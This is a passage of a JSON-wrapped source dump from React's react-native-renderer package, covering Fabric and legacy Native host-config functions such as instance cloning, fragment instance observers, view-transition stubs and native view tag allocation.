event.dispatchConfig;\n  if (\n    dispatchConfig == null ||\n    dispatchConfig.phasedRegistrationNames == null\n  ) {\n    return null;\n  }\n\n  const rawEventType =\n    dispatchConfig.phasedRegistrationNames.bubbled ||\n    dispatchConfig.phasedRegistrationNames.captured;\n  if (!rawEventType) {\n    return null;\n  }\n\n  if (rawEventType.startsWith('on')) {\n    return rawEventType.slice(2).toLowerCase();\n  }\n\n  return rawEventType.toLowerCase();\n}\n\nexport function resolveEventType(): null | string {\n  const event = global.event;\n  return event && event !== schedulerEvent ? getEventType(event) : null;\n}\n\nexport function resolveEventTimeStamp(): number {\n  const event = global.event;\n  return event && event !== schedulerEvent ? event.timeStamp : -1.1;\n}\n\nexport function shouldAttemptEagerTransition(): boolean {\n  return false;\n}\n\n// The Fabric renderer is secondary to the existing React Native renderer.\nexport const isPrimaryRenderer = false;\n\n// The Fabric renderer shouldn't trigger missing act() warnings\nexport const warnsIfNotActing = false;\n\nexport const scheduleTimeout = setTimeout;\nexport const cancelTimeout = clearTimeout;\nexport const noTimeout: -1 = -1;\n\n// -------------------\n//     Persistence\n// -------------------\n\nexport const supportsPersistence = true;\n\nexport function cloneInstance(\n  instance: Instance,\n  type: string,\n  oldProps: Props,\n  newProps: Props,\n  keepChildren: boolean,\n  newChildSet: ?ChildSet,\n): Instance {\n  const viewConfig = instance.canonical.viewConfig;\n  const updatePayload = diffAttributePayloads(\n    oldProps,\n    newProps,\n    viewConfig.validAttributes,\n  );\n  // TODO: If the event handlers have changed, we need to update the current props\n  // in the commit phase but there is no host config hook to do it yet.\n  // So instead we hack it by updating it in the render phase.\n  instance.canonical.currentProps = newProps;\n\n  const node = instance.node;\n  let clone;\n  if (keepChildren) {\n    if (updatePayload !== null) {\n      clone = cloneNodeWithNewProps(node, updatePayload);\n    } else {\n      // No changes\n      return instance;\n    }\n  } else {\n    // If passChildrenWhenCloningPersistedNodes is enabled, children will be non-null\n    if (newChildSet != null) {\n      if (updatePayload !== null) {\n        clone = cloneNodeWithNewChildrenAndProps(\n          node,\n          newChildSet,\n          updatePayload,\n        );\n      } else {\n        clone = cloneNodeWithNewChildren(node, newChildSet);\n      }\n    } else {\n      if (updatePayload !== null) {\n        clone = cloneNodeWithNewChildrenAndProps(node, updatePayload);\n      } else {\n        clone = cloneNodeWithNewChildren(node);\n      }\n    }\n  }\n\n  return {\n    node: clone,\n    canonical: instance.canonical,\n  };\n}\n\nexport function cloneHiddenInstance(\n  instance: Instance,\n  type: string,\n  props: Props,\n): Instance {\n  const viewConfig = instance.canonical.viewConfig;\n  const node = instance.node;\n  const updatePayload = createAttributePayload(\n    {style: {display: 'none'}},\n    viewConfig.validAttributes,\n  );\n  return {\n    node: cloneNodeWithNewProps(node, updatePayload),\n    canonical: instance.canonical,\n  };\n}\n\nexport function cloneHiddenTextInstance(\n  instance: Instance,\n  text: string,\n): TextInstance {\n  throw new Error('Not yet implemented.');\n}\n\nexport function createContainerChildSet(): ChildSet {\n  if (passChildrenWhenCloningPersistedNodes) {\n    return [];\n  } else {\n    return createChildNodeSet();\n  }\n}\n\nexport function appendChildToContainerChildSet(\n  childSet: ChildSet,\n  child: Instance | TextInstance,\n): void {\n  if (passChildrenWhenCloningPersistedNodes) {\n    childSet.push(child.node);\n  } else {\n    appendChildNodeToSet(childSet, child.node);\n  }\n}\n\nexport function finalizeContainerChildren(\n  container: Container,\n  newChildren: ChildSet,\n): void {\n  // Noop - children will be replaced in replaceContainerChildren\n}\n\nexport function replaceContainerChildren(\n  container: Container,\n  newChildren: ChildSet,\n): void {\n  completeRoot(container.containerTag, newChildren);\n}\n\nexport {getClosestInstanceFromNode as getInstanceFromNode};\n\nexport function beforeActiveInstanceBlur(\n  internalInstanceHandle: InternalInstanceHandle,\n) {\n  // noop\n}\n\nexport function afterActiveInstanceBlur() {\n  // noop\n}\n\nexport function preparePortalMount(portalInstance: Instance): void {\n  // noop\n}\n\nexport function detachDeletedInstance(node: Instance): void {\n  // noop\n}\n\nexport function requestPostPaintCallback(callback: (time: number) => void) {\n  // noop\n}\n\nexport function maySuspendCommit(type: Type, props: Props): boolean {\n  return false;\n}\n\nexport function maySuspendCommitOnUpdate(\n  type: Type,\n  oldProps: Props,\n  newProps: Props,\n): boolean {\n  return false;\n}\n\nexport function maySuspendCommitInSyncRender(\n  type: Type,\n  props: Props,\n): boolean {\n  return false;\n}\n\nexport function preloadInstance(\n  instance: Instance,\n  type: Type,\n  props: Props,\n): boolean {\n  return true;\n}\n\nexport opaque type SuspendedState = null;\n\nexport function startSuspendingCommit(): SuspendedState {\n  return null;\n}\n\nexport function suspendInstance(\n  state: SuspendedState,\n  instance: Instance,\n  type: Type,\n  props: Props,\n): void {}\n\nexport function suspendOnActiveViewTransition(\n  state: SuspendedState,\n  container: Container,\n): void {}\n\nexport function waitForCommitToBeReady(\n  state: SuspendedState,\n  timeoutOffset: number,\n): null {\n  return null;\n}\n\nexport function getSuspendedCommitReason(\n  state: SuspendedState,\n  rootContainer: Container,\n): null | string {\n  return null;\n}\n\nexport type FragmentInstanceType = {\n  _fragmentFiber: Fiber,\n  _observers: null | Set<IntersectionObserver>,\n  observeUsing: (observer: IntersectionObserver) => void,\n  unobserveUsing: (observer: IntersectionObserver) => void,\n  compareDocumentPosition: (otherNode: PublicInstance) => number,\n  getRootNode(getRootNodeOptions?: {\n    composed: boolean,\n  }): Node | FragmentInstanceType,\n  getClientRects: () => Array<DOMRect>,\n};\n\nfunction FragmentInstance(this: FragmentInstanceType, fragmentFiber: Fiber) {\n  this._fragmentFiber = fragmentFiber;\n  this._observers = null;\n}\n\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.observeUsing = function (\n  this: FragmentInstanceType,\n  observer: IntersectionObserver,\n): void {\n  if (this._observers === null) {\n    this._observers = new Set();\n  }\n  this._observers.add(observer);\n  traverseFragmentInstance(this._fragmentFiber, observeChild, observer);\n};\nfunction observeChild(child: Fiber, observer: IntersectionObserver) {\n  const publicInstance = getPublicInstanceFromHostFiber(child);\n  // $FlowFixMe[incompatible-call] DOM types expect Element\n  observer.observe(publicInstance);\n  return false;\n}\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.unobserveUsing = function (\n  this: FragmentInstanceType,\n  observer: IntersectionObserver,\n): void {\n  const observers = this._observers;\n  if (observers === null || !observers.has(observer)) {\n    if (__DEV__) {\n      console.error(\n        'You are calling unobserveUsing() with an observer that is not being observed with this fragment ' +\n          'instance. First attach the observer with observeUsing()',\n      );\n    }\n  } else {\n    observers.delete(observer);\n    traverseFragmentInstance(this._fragmentFiber, unobserveChild, observer);\n  }\n};\nfunction unobserveChild(child: Fiber, observer: IntersectionObserver) {\n  const publicInstance = getPublicInstanceFromHostFiber(child);\n  // $FlowFixMe[incompatible-call] DOM types expect Element\n  observer.unobserve(publicInstance);\n  return false;\n}\n\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.compareDocumentPosition = function (\n  this: FragmentInstanceType,\n  otherNode: PublicInstance,\n): number {\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return Node.DOCUMENT_POSITION_DISCONNECTED;\n  }\n  const children: Array<Fiber> = [];\n  traverseFragmentInstance(this._fragmentFiber, collectChildren, children);\n  if (children.length === 0) {\n    const parentHostInstance = getPublicInstanceFromHostFiber(parentHostFiber);\n    return compareDocumentPositionForEmptyFragment<PublicInstance>(\n      this._fragmentFiber,\n      parentHostInstance,\n      otherNode,\n      getPublicInstanceFromHostFiber,\n    );\n  }\n\n  const firstInstance = getPublicInstanceFromHostFiber(children[0]);\n  const lastInstance = getPublicInstanceFromHostFiber(\n    children[children.length - 1],\n  );\n\n  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n  // $FlowFixMe[prop-missing]\n  const firstResult = firstInstance.compareDocumentPosition(otherNode);\n  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n  // $FlowFixMe[prop-missing]\n  const lastResult = lastInstance.compareDocumentPosition(otherNode);\n\n  const otherNodeIsFirstOrLastChild =\n    firstInstance === otherNode || lastInstance === otherNode;\n  const otherNodeIsWithinFirstOrLastChild =\n    firstResult & Node.DOCUMENT_POSITION_CONTAINED_BY ||\n    lastResult & Node.DOCUMENT_POSITION_CONTAINED_BY;\n  const otherNodeIsBetweenFirstAndLastChildren =\n    firstResult & Node.DOCUMENT_POSITION_FOLLOWING &&\n    lastResult & Node.DOCUMENT_POSITION_PRECEDING;\n  let result;\n  if (\n    otherNodeIsFirstOrLastChild ||\n    otherNodeIsWithinFirstOrLastChild ||\n    otherNodeIsBetweenFirstAndLastChildren\n  ) {\n    result = Node.DOCUMENT_POSITION_CONTAINED_BY;\n  } else {\n    result = firstResult;\n  }\n\n  return result;\n};\n\nfunction collectChildren(child: Fiber, collection: Array<Fiber>): boolean {\n  collection.push(child);\n  return false;\n}\n\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.getRootNode = function (\n  this: FragmentInstanceType,\n  getRootNodeOptions?: {composed: boolean},\n): Node | FragmentInstanceType {\n  const parentHostFiber = getFragmentParentHostFiber(this._fragmentFiber);\n  if (parentHostFiber === null) {\n    return this;\n  }\n  const parentHostInstance = getPublicInstanceFromHostFiber(parentHostFiber);\n  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n  const rootNode = (parentHostInstance.getRootNode(getRootNodeOptions): Node);\n  return rootNode;\n};\n\n// $FlowFixMe[prop-missing]\nFragmentInstance.prototype.getClientRects = function (\n  this: FragmentInstanceType,\n): Array<DOMRect> {\n  const rects: Array<DOMRect> = [];\n  traverseFragmentInstance(this._fragmentFiber, collectClientRects, rects);\n  return rects;\n};\nfunction collectClientRects(child: Fiber, rects: Array<DOMRect>): boolean {\n  const instance = getPublicInstanceFromHostFiber(child);\n\n  // getBoundingClientRect is available on Fabric instances while getClientRects is not.\n  // This should work as a substitute in this case because the only equivalent of a multi-rect\n  // element in RN would be a nested Text component.\n  // Since we only use top-level nodes here, we can assume that getBoundingClientRect is sufficient.\n  // $FlowFixMe[method-unbinding]\n  // $FlowFixMe[incompatible-use] Fabric PublicInstance is opaque\n  rects.push(instance.getBoundingClientRect());\n  return false;\n}\n\nfunction addFragmentHandleToFiber(\n  child: Fiber,\n  fragmentInstance: FragmentInstanceType,\n): boolean {\n  if (enableFragmentRefsInstanceHandles) {\n    const instance = ((getPublicInstanceFromHostFiber(\n      child,\n    ): any): PublicInstanceWithFragmentHandles);\n    if (instance != null) {\n      addFragmentHandleToInstance(instance, fragmentInstance);\n    }\n  }\n  return false;\n}\n\nfunction addFragmentHandleToInstance(\n  instance: PublicInstanceWithFragmentHandles,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  if (enableFragmentRefsInstanceHandles) {\n    if (instance.reactFragments == null) {\n      instance.reactFragments = new Set();\n    }\n    instance.reactFragments.add(fragmentInstance);\n  }\n}\n\nexport function createFragmentInstance(\n  fragmentFiber: Fiber,\n): FragmentInstanceType {\n  const fragmentInstance = new (FragmentInstance: any)(fragmentFiber);\n  if (enableFragmentRefsInstanceHandles) {\n    traverseFragmentInstance(\n      fragmentFiber,\n      addFragmentHandleToFiber,\n      fragmentInstance,\n    );\n  }\n  return fragmentInstance;\n}\n\nexport function updateFragmentInstanceFiber(\n  fragmentFiber: Fiber,\n  instance: FragmentInstanceType,\n): void {\n  instance._fragmentFiber = fragmentFiber;\n}\n\nexport function commitNewChildToFragmentInstance(\n  childInstance: Instance | TextInstance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // Text nodes are not observable\n  if (enableFragmentRefsTextNodes && childInstance.canonical == null) {\n    return;\n  }\n  const instance: Instance = (childInstance: any);\n  const publicInstance = getPublicInstance(instance);\n  if (fragmentInstance._observers !== null) {\n    if (publicInstance == null) {\n      throw new Error('Expected to find a host node. This is a bug in React.');\n    }\n    fragmentInstance._observers.forEach(observer => {\n      // $FlowFixMe[incompatible-call] Element types are behind a flag in RN\n      observer.observe(publicInstance);\n    });\n  }\n  if (enableFragmentRefsInstanceHandles) {\n    addFragmentHandleToInstance(\n      ((publicInstance: any): PublicInstanceWithFragmentHandles),\n      fragmentInstance,\n    );\n  }\n}\n\nexport function deleteChildFromFragmentInstance(\n  childInstance: Instance | TextInstance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // Text nodes are not observable\n  if (enableFragmentRefsTextNodes && childInstance.canonical == null) {\n    return;\n  }\n  const instance: Instance = (childInstance: any);\n  const publicInstance = ((getPublicInstance(\n    instance,\n  ): any): PublicInstanceWithFragmentHandles);\n  if (enableFragmentRefsInstanceHandles) {\n    if (publicInstance.reactFragments != null) {\n      publicInstance.reactFragments.delete(fragmentInstance);\n    }\n  }\n}\n\nexport const NotPendingTransition: TransitionStatus = null;\nexport const HostTransitionContext: ReactContext<TransitionStatus> = {\n  $$typeof: REACT_CONTEXT_TYPE,\n  Provider: (null: any),\n  Consumer: (null: any),\n  _currentValue: NotPendingTransition,\n  _currentValue2: NotPendingTransition,\n  _threadCount: 0,\n};\n\nexport type FormInstance = Instance;\nexport function resetFormInstance(form: Instance): void {}\n\n// -------------------\n//     Microtasks\n// -------------------\n\nexport const supportsMicrotasks: boolean =\n  typeof RN$enableMicrotasksInReact !== 'undefined' &&\n  !!RN$enableMicrotasksInReact;\n\nexport const scheduleMicrotask: any =\n  typeof queueMicrotask === 'function' ? queueMicrotask : scheduleTimeout;\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFiberConfigFabricWithViewTransition.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\nimport type {\n  Instance,\n  Props,\n  Container,\n  SuspendedState,\n  GestureTimeline,\n} from './ReactFiberConfigFabric';\n\nconst {\n  applyViewTransitionName: fabricApplyViewTransitionName,\n  startViewTransition: fabricStartViewTransition,\n} = nativeFabricUIManager;\n\nexport type InstanceMeasurement = {\n  rect: {x: number, y: number, width: number, height: number},\n  abs: boolean,\n  clip: boolean,\n  view: boolean,\n};\n\nexport type RunningViewTransition = {\n  finished: Promise<void>,\n  ready: Promise<void>,\n  ...\n};\n\ninterface ViewTransitionPseudoElementType extends mixin$Animatable {\n  _pseudo: string;\n  _name: string;\n}\n\nfunction ViewTransitionPseudoElement(\n  this: ViewTransitionPseudoElementType,\n  pseudo: string,\n  name: string,\n) {\n  // TODO: Get the owner document from the root container.\n  this._pseudo = pseudo;\n  this._name = name;\n}\n\nexport type ViewTransitionInstance = null | {\n  name: string,\n  old: mixin$Animatable,\n  new: mixin$Animatable,\n  ...\n};\n\nexport function restoreViewTransitionName(\n  instance: Instance,\n  props: Props,\n): void {\n  if (__DEV__) {\n    console.warn('restoreViewTransitionName is not implemented');\n  }\n}\n\n// Cancel the old and new snapshots of viewTransitionName\nexport function cancelViewTransitionName(\n  instance: Instance,\n  oldName: string,\n  props: Props,\n): void {\n  if (__DEV__) {\n    console.warn('cancelViewTransitionName is not implemented');\n  }\n}\n\nexport function cancelRootViewTransitionName(rootContainer: Container): void {\n  // No-op\n}\n\nexport function restoreRootViewTransitionName(rootContainer: Container): void {\n  // No-op\n}\n\nexport function cloneRootViewTransitionContainer(\n  rootContainer: Container,\n): Instance {\n  if (__DEV__) {\n    console.warn('cloneRootViewTransitionContainer is not implemented');\n  }\n  // $FlowFixMe[incompatible-return] Return empty stub\n  return null;\n}\n\nexport function removeRootViewTransitionClone(\n  rootContainer: Container,\n  clone: Instance,\n): void {\n  if (__DEV__) {\n    console.warn('removeRootViewTransitionClone is not implemented');\n  }\n}\n\nexport function measureInstance(instance: Instance): InstanceMeasurement {\n  if (__DEV__) {\n    console.warn('measureInstance is not implemented');\n  }\n  return {\n    rect: {\n      x: 0,\n      y: 0,\n      width: 0,\n      height: 0,\n    },\n    abs: false,\n    clip: false,\n    // TODO: properly calculate whether instance is in viewport\n    view: true,\n  };\n}\n\nexport function measureClonedInstance(instance: Instance): InstanceMeasurement {\n  if (__DEV__) {\n    console.warn('measureClonedInstance is not implemented');\n  }\n  return {\n    rect: {x: 0, y: 0, width: 0, height: 0},\n    abs: false,\n    clip: false,\n    view: true,\n  };\n}\n\nexport function wasInstanceInViewport(\n  measurement: InstanceMeasurement,\n): boolean {\n  return measurement.view;\n}\n\nexport function hasInstanceChanged(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  if (__DEV__) {\n    console.warn('hasInstanceChanged is not implemented');\n  }\n  return false;\n}\n\nexport function hasInstanceAffectedParent(\n  oldMeasurement: InstanceMeasurement,\n  newMeasurement: InstanceMeasurement,\n): boolean {\n  if (__DEV__) {\n    console.warn('hasInstanceAffectedParent is not implemented');\n  }\n  return false;\n}\n\nexport function startGestureTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  timeline: GestureTimeline,\n  rangeStart: number,\n  rangeEnd: number,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  animateCallback: () => void,\n  errorCallback: (error: mixed) => void,\n  finishedAnimation: () => void,\n): RunningViewTransition {\n  if (__DEV__) {\n    console.warn('startGestureTransition is not implemented');\n  }\n  return {\n    finished: Promise.resolve(),\n    ready: Promise.resolve(),\n  };\n}\n\nexport function stopViewTransition(transition: RunningViewTransition): void {\n  if (__DEV__) {\n    console.warn('stopViewTransition is not implemented');\n  }\n}\n\nexport function addViewTransitionFinishedListener(\n  transition: RunningViewTransition,\n  callback: () => void,\n): void {\n  transition.finished.finally(callback);\n}\n\nexport function createViewTransitionInstance(\n  name: string,\n): ViewTransitionInstance {\n  return {\n    name,\n    old: new (ViewTransitionPseudoElement: any)('old', name),\n    new: new (ViewTransitionPseudoElement: any)('new', name),\n  };\n}\n\nexport function applyViewTransitionName(\n  instance: Instance,\n  name: string,\n  className: ?string,\n): void {\n  // add view-transition-name to things that might animate for browser\n  fabricApplyViewTransitionName(instance.node, name, className);\n}\n\nexport function startViewTransition(\n  suspendedState: null | SuspendedState,\n  rootContainer: Container,\n  transitionTypes: null | TransitionTypes,\n  mutationCallback: () => void,\n  layoutCallback: () => void,\n  afterMutationCallback: () => void,\n  spawnedWorkCallback: () => void,\n  passiveCallback: () => mixed,\n  errorCallback: (error: mixed) => void,\n  blockedCallback: (name: string) => void,\n  finishedAnimation: () => void,\n): null | RunningViewTransition {\n  const transition = fabricStartViewTransition(\n    // mutation\n    () => {\n      mutationCallback(); // completeRoot should run here\n      layoutCallback();\n      afterMutationCallback();\n    },\n  );\n\n  if (transition == null) {\n    if (__DEV__) {\n      console.warn(\n        \"startViewTransition didn't kick off transition in Fabric, the ViewTransition ReactNativeFeatureFlag might not be enabled.\",\n      );\n    }\n    // Flush remaining work synchronously.\n    mutationCallback();\n    layoutCallback();\n    // Skip afterMutationCallback(). We don't need it since we're not animating.\n    spawnedWorkCallback();\n    // Skip passiveCallback(). Spawned work will schedule a task.\n    return null;\n  }\n\n  transition.ready.then(() => {\n    spawnedWorkCallback();\n  });\n\n  transition.finished.finally(() => {\n    passiveCallback();\n  });\n\n  return transition;\n}\n"
  },
  {
    "path": "packages/react-native-renderer/src/ReactFiberConfigNative.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {InspectorData, TouchedViewDataAtPoint} from './ReactNativeTypes';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\n\n// Modules provided by RN:\nimport {\n  ReactNativeViewConfigRegistry,\n  UIManager,\n  deepFreezeAndThrowOnMutationInDev,\n  createPublicInstance,\n  type PublicRootInstance,\n} from 'react-native/Libraries/ReactPrivate/ReactNativePrivateInterface';\n\nimport {create, diff} from './ReactNativeAttributePayload';\nimport {\n  precacheFiberNode,\n  uncacheFiberNode,\n  updateFiberProps,\n  getClosestInstanceFromNode,\n} from './ReactNativeComponentTree';\nimport ReactNativeFiberHostComponent from './ReactNativeFiberHostComponent';\n\nimport {\n  DefaultEventPriority,\n  NoEventPriority,\n  type EventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\nimport type {Fiber} from 'react-reconciler/src/ReactInternalTypes';\n\nimport {enableProfilerTimer} from 'shared/ReactFeatureFlags';\n\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\nimport type {ReactContext} from 'shared/ReactTypes';\n\nimport {\n  getInspectorDataForViewTag,\n  getInspectorDataForViewAtPoint,\n  getInspectorDataForInstance,\n} from './ReactNativeFiberInspector';\n\nexport {default as rendererVersion} from 'shared/ReactVersion'; // TODO: Consider exporting the react-native version.\nexport const rendererPackageName = 'react-native-renderer';\nexport const extraDevToolsConfig = {\n  getInspectorDataForInstance,\n  getInspectorDataForViewTag,\n  getInspectorDataForViewAtPoint,\n};\n\nconst {get: getViewConfigForType} = ReactNativeViewConfigRegistry;\n\nexport type Type = string;\nexport type Props = Object;\nexport type Container = {\n  containerTag: number,\n  publicInstance: PublicRootInstance | null,\n};\nexport type Instance = ReactNativeFiberHostComponent;\nexport type TextInstance = number;\nexport type HydratableInstance = Instance | TextInstance;\nexport type PublicInstance = Instance;\nexport type HostContext = $ReadOnly<{\n  isInAParentText: boolean,\n}>;\nexport type UpdatePayload = Object; // Unused\nexport type ChildSet = void; // Unused\n\nexport type TimeoutHandle = TimeoutID;\nexport type NoTimeout = -1;\nexport type TransitionStatus = mixed;\n\nexport type RendererInspectionConfig = $ReadOnly<{\n  getInspectorDataForInstance?: (instance: Fiber | null) => InspectorData,\n  // Deprecated. Replaced with getInspectorDataForViewAtPoint.\n  getInspectorDataForViewTag?: (tag: number) => Object,\n  getInspectorDataForViewAtPoint?: (\n    inspectedView: Object,\n    locationX: number,\n    locationY: number,\n    callback: (viewData: TouchedViewDataAtPoint) => mixed,\n  ) => void,\n}>;\n\n// Counter for uniquely identifying views.\n// % 10 === 1 means it is a rootTag.\n// % 2 === 0 means it is a Fabric tag.\nlet nextReactTag = 3;\nfunction allocateTag() {\n  let tag = nextReactTag;\n  if (tag % 10 === 1) {\n    tag += 2;\n  }\n  nextReactTag = tag + 2;\n  return tag;\n}\n\nfunction recursivelyUncacheFiberNode(node: Instance | TextInstance) {\n  if (typeof node === 'number') {\n    // Leaf node (eg text)\n    uncacheFiberNode(node);\n  } else {\n    uncacheFiberNode((node: any)._nativeTag);\n\n    (node: any)._children.forEach(recursivelyUncacheFiberNode);\n  }\n}\n\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoHydration';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoScopes';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoTestSelectors';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoMicrotasks';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoResources';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoSingletons';\n\nexport function appendInitialChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  parentInstance._children.push(child);\n}\n\nexport function createInstance(\n  type: string,\n  props: Props,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: Object,\n): Instance {\n  const tag = allocateTag();\n  const viewConfig = getViewConfigForType(type);\n\n  if (__DEV__) {\n    for (const key in viewConfig.validAttributes) {\n      if (props.hasOwnProperty(key)) {\n        deepFreezeAndThrowOnMutationInDev(props[key]);\n      }\n    }\n  }\n\n  const updatePayload = create(props, viewConfig.validAttributes);\n\n  UIManager.createView(\n    tag, // reactTag\n    viewConfig.uiViewClassName, // viewName\n    rootContainerInstance.containerTag, // rootTag\n    updatePayload, // props\n  );\n\n  const component = new ReactNativeFiberHostComponent(\n    tag,\n    viewConfig,\n    internalInstanceHandle,\n  );\n\n  precacheFiberNode(internalInstanceHandle, tag);\n  updateFiberProps(tag, props);\n\n  // Not sure how to avoid this cast. Flow is okay if the component is defined\n  // in the same file but if it's external it can't see the types.\n  return ((component: any): Instance);\n}\n\nexport function cloneMutableInstance(\n  instance: Instance,\n  keepChildren: boolean,\n): Instance {\n  throw new Error('Not yet implemented.');\n}\n\nexport function createTextInstance(\n  text: string,\n  rootContainerInstance: Container,\n  hostContext: HostContext,\n  internalInstanceHandle: Object,\n): TextInstance {\n  if (!hostContext.isInAParentText) {\n    throw new Error('Text strings must be rendered within a <Text> component.');\n  }\n\n  const tag = allocateTag();\n\n  UIManager.createView(\n    tag, // reactTag\n    'RCTRawText', // viewName\n    rootContainerInstance.containerTag, // rootTag\n    {text: text}, // props\n  );\n\n  precacheFiberNode(internalInstanceHandle, tag);\n\n  return tag;\n}\n\nexport function cloneMutableTextInstance(\n  textInstance: TextInstance,\n): TextInstance {\n  throw new Error('Not yet implemented.');\n}\n\nexport type FragmentInstanceType = null;\n\nexport function createFragmentInstance(\n  fragmentFiber: Fiber,\n): FragmentInstanceType {\n  return null;\n}\n\nexport function updateFragmentInstanceFiber(\n  fragmentFiber: Fiber,\n  instance: FragmentInstanceType,\n): void {\n  // Noop\n}\n\nexport function commitNewChildToFragmentInstance(\n  child: PublicInstance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // Noop\n}\n\nexport function deleteChildFromFragmentInstance(\n  child: PublicInstance,\n  fragmentInstance: FragmentInstanceType,\n): void {\n  // Noop\n}\n\nexport function finalizeInitialChildren(\n  parentInstance: Instance,\n  type: string,\n  props: Props,\n  hostContext: HostContext,\n): boolean {\n  // Don't send a no-op message over the bridge.\n  if (parentInstance._children.length === 0) {\n    return false;\n  }\n\n  // Map from child objects to native tags.\n  // Either way we need to pass a copy of the Array to prevent it from being frozen.\n  const nativeTags = parentInstance._children.map(child =>\n    typeof child === 'number'\n      ? child // Leaf node (eg text)\n      : child._nativeTag,\n  );\n\n  UIManager.setChildren(\n    parentInstance._nativeTag, // containerTag\n    nativeTags, // reactTags\n  );\n\n  return false;\n}\n\nexport function getRootHostContext(\n  rootContainerInstance: Container,\n): HostContext {\n  return {isInAParentText: false};\n}\n\nexport function getChildHostContext(\n  parentHostContext: HostContext,\n  type: string,\n): HostContext {\n  const prevIsInAParentText = parentHostContext.isInAParentText;\n  const isInAParentText =\n    type === 'AndroidTextInput' || // Android\n    type === 'RCTMultilineTextInputView' || // iOS\n    type === 'RCTSelectableText' ||\n    type === 'RCTSinglelineTextInputView' || // iOS\n    type === 'RCTText' ||\n    type === 'RCTVirtualText';\n\n  if (prevIsInAParentText !== isInAParentText) {\n    return {isInAParentText};\n  } else {\n    return parentHostContext;\n  }\n}\n\nexport function getPublicInstance(instance: Instance): PublicInstance {\n  // $FlowExpectedError[prop-missing] For compatibility with Fabric\n  if (instance.canonical != null) {\n    if (instance.canonical.publicInstance == null) {\n      // $FlowExpectedError[incompatible-use]\n      instance.canonical.publicInstance = createPublicInstance(\n        // $FlowExpectedError[incompatible-use]\n        instance.canonical.nativeTag,\n        // $FlowExpectedError[incompatible-use]\n        instance.canonical.viewConfig,\n        // $FlowExpectedError[incompatible-use]\n        instance.canonical.internalInstanceHandle,\n        // $FlowExpectedError[incompatible-use]\n        instance.canonical.publicRootInstance ?? null,\n      );\n      // This was only necessary to create the public instance.\n      // $FlowExpectedError[prop-missing]\n      instance.canonical.publicRootInstance = null;\n    }\n\n    // $FlowExpectedError[prop-missing]\n    // $FlowExpectedError[incompatible-return]\n    return instance.canonical.publicInstance;\n  }\n\n  return instance;\n}\n\nexport function prepareForCommit(containerInfo: Container): null | Object {\n  // Noop\n  return null;\n}\n\nexport function resetAfterCommit(containerInfo: Container): void {\n  // Noop\n}\n\nexport const isPrimaryRenderer = true;\nexport const warnsIfNotActing = true;\n\nexport const scheduleTimeout = setTimeout;\nexport const cancelTimeout = clearTimeout;\nexport const noTimeout: -1 = -1;\n\nexport function shouldSetTextContent(type: string, props: Props): boolean {\n  // TODO (bvaughn) Revisit this decision.\n  // Always returning false simplifies the createInstance() implementation,\n  // But creates an additional child Fiber for raw text children.\n  // No additional native views are created though.\n  // It's not clear to me which is better so I'm deferring for now.\n  // More context @ github.com/facebook/react/pull/8560#discussion_r92111303\n  return false;\n}\n\nlet currentUpdatePriority: EventPriority = NoEventPriority;\nexport function setCurrentUpdatePriority(newPriority: EventPriority): void {\n  currentUpdatePriority = newPriority;\n}\n\nexport function getCurrentUpdatePriority(): EventPriority {\n  return currentUpdatePriority;\n}\n\nexport function resolveUpdatePriority(): EventPriority {\n  if (currentUpdatePriority !== NoEventPriority) {\n    return currentUpdatePriority;\n  }\n  return DefaultEventPriority;\n}\n\nexport function trackSchedulerEvent(): void {}\n\nexport function resolveEventType(): null | string {\n  return null;\n}\n\nexport function resolveEventTimeStamp(): number {\n  return -1.1;\n}\n\nexport function shouldAttemptEagerTransition(): boolean {\n  return false;\n}\n\n// -------------------\n//     Mutation\n// -------------------\n\nexport const supportsMutation = true;\n\nexport function appendChild(\n  parentInstance: Instance,\n  child: Instance | TextInstance,\n): void {\n  const childTag = typeof child === 'number' ? child : child._nativeTag;\n  const children = parentInstance._children;\n  const index = children.indexOf(child);\n\n  if (index >= 0) {\n    children.splice(index, 1);\n    children.push(child);\n\n    UIManager.manageChildren(\n      parentInstance._nativeTag, // containerTag\n      [index], // moveFromIndices\n      [children.length - 1], // moveToIndices\n      [], // addChildReactTags\n      [], // addAtIndices\n      [], // removeAtIndices\n    );\n  } else {\n    children.push(child);\n\n    UIManager.manageChildren(\n      parentInstance._nativeTag, // containerTag\n      [], // moveFromIndices\n      [], // moveToIndices\n      [childTag], // addChildReactTags\n      [children.length - 1], // addAtIndices\n      [], // removeAtIndices\n    